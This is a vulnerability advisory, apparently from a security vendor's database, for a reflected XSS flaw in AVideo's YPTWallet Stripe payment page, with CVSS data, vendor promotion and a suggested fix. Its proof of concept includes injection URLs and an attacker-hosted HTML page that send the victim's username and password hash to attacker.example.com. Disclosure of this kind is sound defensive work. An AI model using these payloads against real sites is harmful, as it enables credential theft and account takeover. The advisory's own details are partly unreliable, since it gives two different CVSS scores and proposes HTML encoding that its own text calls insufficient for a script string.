Summary
The YPTWallet Stripe payment confirmation page directly echoes the $_REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.
The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.
Details
The Stripe confirmation page renders the plugin parameter directly into a <script> block:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.
The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.
Immediately adjacent to the injection point, the script also exposes user credentials:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",
No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.
Proof of Concept
The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*
The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:
"plugin": ""}})});alert(document.domain);console.log({/*",
Credential exfiltration payload:
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"
Simplified credential theft using the same-page credential leak:
<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
// The confirmButton.php page outputs user/pass in the script block.
// XSS lets us read it directly.
var payload = encodeURIComponent(
'",x:(function(){' +
'var s=document.querySelector("script").textContent;' +
'var u=s.match(/"user":"([^"]+)"/)[1];' +
'var p=s.match(/"pass":"([^"]+)"/)[1];' +
'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' +
'})(),y:"'
);
window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload;
</script>
</body>
</html>
Reproduction steps:
- Navigate to the basic XSS URL above (substitute your target instance).
- Observe the JavaScript alert box confirming code execution.
- View the page source to confirm that
User::getUserName()andUser::getUserPass()are present in the same script block. - Use the credential exfiltration payload to demonstrate data theft.
Impact
An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:
- Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.
- Session hijacking: Steal session cookies and impersonate the victim.
- Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.
- Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.
The lack of CSP headers means there are no browser-side mitigations against the injected scripts.
- CWE: CWE-79 (Cross-Site Scripting - Reflected)
- Severity: High (CVSS 8.1)
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-34375 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
// Before:
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
// After:
"plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>",
Found by aisafe.io
Frequently Asked Questions
- What is CVE-2026-34375? CVE-2026-34375 is a high-severity cross-site scripting (XSS) vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-34375? CVE-2026-34375 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-34375? wwbn/avideo (composer) versions <= 26.0 is affected.
- Is there a fix for CVE-2026-34375? No fixed version is listed for CVE-2026-34375 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-34375 exploitable, and should I be worried? Whether CVE-2026-34375 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34375 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34375? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.